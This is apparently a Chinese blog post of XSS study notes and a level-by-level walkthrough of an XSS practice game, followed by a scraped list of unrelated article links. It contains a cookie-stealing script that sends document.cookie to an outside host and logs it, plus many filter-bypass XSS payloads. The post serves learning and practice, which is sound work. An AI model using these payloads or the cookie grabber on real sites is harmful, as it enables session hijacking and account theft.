XSS----payload,绕过,xss小游戏记录
一.XSS
1.原理:攻击者把恶意的脚本代码注入到网页中,等待其他用户浏览
这些网页(或触发其他条件),从而执行其中的恶意代码。
1.xss实例代码:
test.html
<!DOCTYPE html>
<head>
<title>xss_test</title>
</head>
<body>
<form action="xss.php" method="post">
请输入你的名字<br>
<input type="text" name="name">
<input type="submit" value="提交">
</form>
</body>
</html>
xss.php
<!DOCTYPE html>
<head>
<meta charset="utf-8">
<title>测试结果</title>
</head>
<body>
<?php
echo $_POST['name'];
?>
</body>
</html>
获得cookie 脚本
cookie.php
<?php
$cookie = $_GET['cookie']."\n";
$cookie_f = fopen('cookie.txt','a');
fwrite($cookie_f,$cookie);
fclose($cookie_f);
?>
xss.js
<script>window.open('http://www.test.com/cookie.php?cookie='+document.cookie)</script>
xss分为3类
反射型xss
存储型xss
dom型xss
2.xss的payload
<!-- 基本类型-->
<script >alert('xss')</script>
<script >alert("xss")</script>
<script >alert(/xss/)</script>
<script >alert('xss');</script>
<!-- 利用javascript伪协议 -->
<iframe src=javascript:alert('xss') ></iframe>
---------------------------------
<a href=javascript:alert('xss')>xxx</a>
两个a标签之间要加东西,不然看不到点击的地方
<!-- 利用基本事件 -->
<img src="x" onerror= alert('xss')> //图片未找到
<img src="x" onload= alert('xss')> //图片正常显示
<img src="x" onclick= alert('xss')>
| 事件 | 含义 |
|---|---|
| onclick | 鼠标单击 |
| onchange | 内容发生改变 |
| onerror | 图片等未找到时 |
| onload | 页面加载 |
| onmouseover | 鼠标悬停 |
| onmouseout | 鼠标移出 |
| onmousemove | 鼠标路过 |
onchange 用在 input 标签
<input type="text" onchange=alert('xss')>
3.xss 的一些绕过
--标签的属性支持javascript:[code]伪协议
利用空字符
常用字符:【空格】【回车】【Tab】键位符
应用场景:对JavaScript关键字过了过滤
-- 扰乱过滤规则
1)大小写混合
<sCRipt>alert('xss')</script>
2)引号的使用
<script>alert('xss')</script>
<script>alert("xss")</script>
<script>alert(/xss/)</script>
3)<iframe/src=javascript:alert(1)>
4)双写
<scr<script>ipt>alert(1111)</scr</script>ipt>
小tips
%0a用做换行使的input标签语法正确,主要是因为过滤了“>”
// js的注释
二.实战xss挑战之旅
1.第一题(无过滤措施)
首先在地址后输入我们最基本的payload,弹窗

还可以
利用 iframe 标签的的 src 属性来弹窗
<iframe src=javascript:alert('xss')></iframe>
利用标签的 href 属性来弹窗
<a href=javascript:alert('xss')>ggtest</a>
这里就是超链接到了:javascript:alert('xss')
效果和浏览器直接打开这个地址:javascript:alert('xss')是一样的
这里还可以使用:javascript:alert(document.cookie) 来弹出当前会话的 cookie
img标签来弹窗
<img src=1 onerror=alert('xss')>
2.第二题
在次尝试输入基本的payload,看到没有

右键查看源代码,搜索我们刚输入的东西,看过滤了什么

呗代码复制出来,构造payload,在input 标签里,首先想到onchange事件
<input name=keyword value="<script >alert('xss')</script>">
" onchange =alert(111) <"

还可以
"><script>alert(222)</script> <"

3.第三关
一样操作,看源代码,构造payload

过滤了尖括号
" onchange=alert(1111) /<"
' onchange='alert(/111/)
这个刚学到的,可能对< " 过滤有帮助
' onclick=alert(1)%0a
%0a用做换行使的input标签语法正确,主要是因为过滤了“>”。
4.第四关

<input name=keyword value="111">
" onchange=alert(555)<"
5.第五关

过滤了script

还过滤了on事件
只能利用javascript伪协议
"><a href=javascript:alert(111)>
6.第六关




基本全过滤
尝试大小写绕过
"><img sRc=x onError="alert(/xss/)
这样还不行,看源码,on过滤,试了一下on大写,成功
"><img sRc=x OnError="alert(/xss/)
7.第七关

<input name=keyword value="456">
尝试以下
<input name=keyword value="" Onchange=alert(123) id="">
不行,过滤on想到用伪协议

想到伪协议的绕过tab 空格 还是不行,尴尬,看上边过滤是直接把on消失,试试复写。
" Oonnchange=alert(123) id="

第八关

</center><center><BR><a href="1111">友情链接</a></center><center><img src=level8.jpg></center>
a标签,href直接使用伪协议
javascript:alert(1111)

尝试tab

| 按键 | url编码 |
|---|---|
| tab | %09 |
| enter | %0A |
| space | %20 |

--又有一方法 html10进制编码payload


第九关


尝试伪协议

并没有弹,应该是/问题,这有一个思路是把http://放到alert里
javascri pt:alert('http://')
//tab

编码

第十关
一脸懵逼,没有输入输出点啊

还是没有输出点,通过观察发现有3个隐藏的输入input,构造下看看有没有输出
http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=3
发现t_sort参数有东西,窃喜。。
<input name="t_sort" value="3" type="hidden">
构造
http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=" onmousemove=alert(111) id="
~绕过hidden属性的影响
http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=" onmosemove=alert(111) type="text"

XSS----payload,绕过,xss小游戏记录的更多相关文章
- cocos creator开发微信小游戏记录
先用cocoscreator实现游戏逻辑 在cocoscreator项目里可以调用微信小游戏api 在cocos里面判断小游戏的运行环境 if (cc.sys.platform === cc.sys. ...
- 记录一次有意思的XSS过滤绕过2
前几天在漏洞挖掘中遇到个xss,感觉绕过过程蛮有意思的,写篇文章记录下. 接下里是我对这个xss详细的分析和绕过 存在问题站点http://******/index/appInfo?appId=784 ...
- xss games20关小游戏附源代码
1. get方式的的值直接输出来了. ?name=<script>alert(1)</script> 2. 同样没有过滤,不过需要闭合前边的双引号和>. "&g ...
- xss小游戏通关
xss url:http://test.ctf8.com/level1.php?name=test 小游戏payload: <script>alert("'test'" ...
- 记录一次有意思的XSS过滤绕过
我的朋友赵一天今晚给我发了一个站,跟我说他xss绕不过去,让我试试.我正好无事,就帮她看看咯. 通过赵一天发我的站点,说实话,我自己学到了很多东西,感谢大佬的教诲.今天分享出来: 站点:xxx.com ...
- XSS小游戏
第一关 直接在URL输入 ?name=<script>alert('xss')</script> 第二关 找源码,输入test,value值变为test,我们可以在输入框尝试x ...
- xss小游戏源码分析
配置 下载地址:https://files.cnblogs.com/files/Lmg66/xssgame-master.zip 使用:下载解压,放到www目录下(phpstudy),http服务下都 ...
- XSS Payload知识备忘
参考资料:<白帽子讲Web安全>吴翰清 著 参见: 百度百科 http://baike.baidu.com/view/50325.htm 维基百科 http://zh.wikipedia. ...
- xssless - 自动化的XSS payload攻击器
XSSLESS 一个用Python编写的自动化XSS 负载(payload)攻击器 用法: 记录请求 并结合Burp proxy 选择你想生成的请求,然后右键选择“保存项目” 使用xssless生成你 ...
随机推荐
- 记一次关于SSM框架的使用错误
今天遇到一个十分操蛋的问题,最后发现是因为忘记在对应的Service上加上@AutoWired. 难怪单元测试没问题,因为单元测试中用到的Service,其实现类通过DAO自动装配了.也就是在对应的s ...
- jQuery Cookie操作cookie
jQuery cookie下载地址:http://plugins.jquery.com/cookie/ 使用jquery.cookie.js依赖于jquery 基本用法: 1. 创建cookie ...
- PAT——1045. 快速排序
著名的快速排序算法里有一个经典的划分过程:我们通常采用某种方法取一个元素作为主元,通过交换,把比主元小的元素放到它的左边,比主元大的元素放到它的右边. 给定划分后的N个互不相同的正整数的排列,请问有多 ...
- 随机数使用不当引发的生产bug
前几天负责的理财产品线上出现问题:一客户赎回失败,查询交易记录时显示某条交易记录为其他人的卡号. 交易的链路如下: 出现该问题后,我们对日志进行了分析,发现主站收到的两笔流水号完全相同,然而主站却没有 ...
- iOS合并真机和模拟器framework
在实际的项目开发中,我们会碰到某些静态库只能在真机或者模拟器中的一个上可以运行.为了让静态库在模拟器和真机都可以正常的运行,就涉及到如何把一个工程生成的静态库打包以后生成的framework进行合并. ...
- 【js】Object.prototype.hasOwnProperty()
hasOwnProperty() 方法会返回一个布尔值,指示对象自身属性中是否具有指定的属性 例如:obj.hasOwnProperty(prop) 1. 所有 Object 的对象都会有 hasOw ...
- SQL注入点的类型
1.数字型注入点 形如“http://****?ID=55”,这类注入的参数是“数字”,因此称为“数字型注入点”. 此类注入点提交的SQL语句,其原形大致为:Select * from 表名 wher ...
- 搜索 水题&&错误集锦
引子: 本以为搜索的题目老师也不会检查,结果今天早上loli慢悠悠的说:“请同学们提交一下搜索的题目~”,顿时心旌摇曳,却也只能装作镇定自若的样子,点了点头.. 然后就开始了今天的疯狂做题,虽说题目都 ...
- HTML5开篇定义(更新中)
以下介绍的两种属性是为后面的属性支持左铺垫,大概一看就OK了. 通用属性 id 用于为HTML元素指定唯一标识 style 用于为HTML元素指定CSS指定样式 class 用于匹配CSS样式的cla ...
- mybatis报错:未找到参数导致绑定异常
问题: 在映射文件中使用parameterMap元素时出现以下异常: org.mybatis.spring.MyBatisSystemException: nested exception is or ...